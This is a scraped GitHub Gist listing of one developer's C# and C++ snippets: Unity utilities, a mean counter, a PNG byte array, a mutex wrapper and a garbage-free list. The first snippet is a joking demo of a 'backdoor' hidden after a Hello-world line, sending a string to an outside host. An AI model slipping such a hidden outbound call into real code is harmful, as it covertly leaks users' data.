Skip to content

Instantly share code, notes, and snippets.

class Program
{
static void Main()
{
// it seems to be this opensource code can not have any backdoors?..
System.Console.WriteLine("Hello world!"); { /* HERE's the backdoor!! */ var data = "something"; System.Net.WebRequest.Create("http://youhavebeenspotted.com/?some=" + data).GetResponseAsync(); }
}
}
@yuri-tikhomirov
yuri-tikhomirov / HierarchySerializer.cs
Created May 13, 2019 13:46
Unity GameObject hierarchy serialization (name & components)
//
// usage :
// Debug.Log( HierarchySerializer.SerializeGameObject(myGameObject) );
//
public static class HierarchySerializer
{
public static System.Text.StringBuilder SerializeGameObject(
UnityEngine.GameObject go,
System.Text.StringBuilder sb = null,
int tab = 0)
@yuri-tikhomirov
yuri-tikhomirov / IncrementalMeanCounter.cs
Created December 25, 2017 13:18
Incremental mean counter
//
// IncrementalMeanCounter used to count average value in streaming mode
// (when it is impossible to accumulate values in a collection to compute after).
//
// (c) 2017 Yuri Tikhomirov @ ModumLab
//
public struct IncrementalMeanCounter
{
double mean, count;
@yuri-tikhomirov
yuri-tikhomirov / OnePixelBlackPng.cs
Created May 29, 2017 15:39
One Pixel Black PNG byte array
byte [] c_BlackOnePixelPng = new byte[] {
0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
0xDE, 0x00, 0x00, 0x00, 0x01, 0x73, 0x52, 0x47, 0x42, 0x00, 0xAE, 0xCE, 0x1C, 0xE9, 0x00, 0x00,
0x00, 0x04, 0x67, 0x41, 0x4D, 0x41, 0x00, 0x00, 0xB1, 0x8F, 0x0B, 0xFC, 0x61, 0x05, 0x00, 0x00,
0x00, 0x09, 0x70, 0x48, 0x59, 0x73, 0x00, 0x00, 0x0E, 0xC3, 0x00, 0x00, 0x0E, 0xC3, 0x01, 0xC7,
0x6F, 0xA8, 0x64, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41, 0x54, 0x18, 0x57, 0x63, 0x60, 0x60,
0x60, 0x00, 0x00, 0x00, 0x04, 0x00, 0x01, 0x5C, 0xCD, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0x49,
0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82
};
@yuri-tikhomirov
yuri-tikhomirov / GUILayTools.cs
Last active July 8, 2016 21:41
A Layout tool for Unity3D for scoped OnGUI() programming with no garbage production.
using System;
using UnityEngine;
using System.Collections.Generic;
//
// GUI layout tools (c) Yuri Tikhomirov at Cerevrum Inc.
//
// A useless* tool not to produce more garbage when using with Unity3D IMGUI.
//
// * - cause anyway IMGUI produces garbage inside
@yuri-tikhomirov
yuri-tikhomirov / mutex.h
Last active May 27, 2016 16:51 — forked from ytsutano/mutex.h
Simple mutex wrapper class
//
// From https://gist.github.com/ytsutano/4140432 by Yutaka Tsutano
// Modified by Yuri Tikhomirov
// (https://gist.github.com/yuri-tikhomirov/a81343dfd0eeaa4cc80a32aa095a2f5d)
//
// Refactored to support CRITICAL_SECTION usage on Windows,
// also made calls to lock() / try_lock() / unlock() inline.
//
// Performance tests:
// http://preshing.com/20111124/always-use-a-lightweight-mutex/
@yuri-tikhomirov
yuri-tikhomirov / FastList.cs
Last active October 8, 2023 20:23
FastList<T> is a System.Collections.Generic.List<T> modification such, that allows to not produce garbage when using foreach.
/*
FastList<T> is a System.Collections.Generic.List<T> modification such, that allows to not produce garbage when using foreach.
Useful for old versions of c# runtime (like Mono 2.x), i.e. for Unity.
It implements own instance-type enumerator and caches only one instance of this enumerator inside.
Instance-type enumerator allows to avoid boxing that occurs when foreach converts IEnumerator to IDisposable and calls Dispose().
(Default List<T> enumerator is value-type (struct), so when foreach converts to IDisposable, boxing occurs and 20 bytes of garbage will be collected.)
Warnings: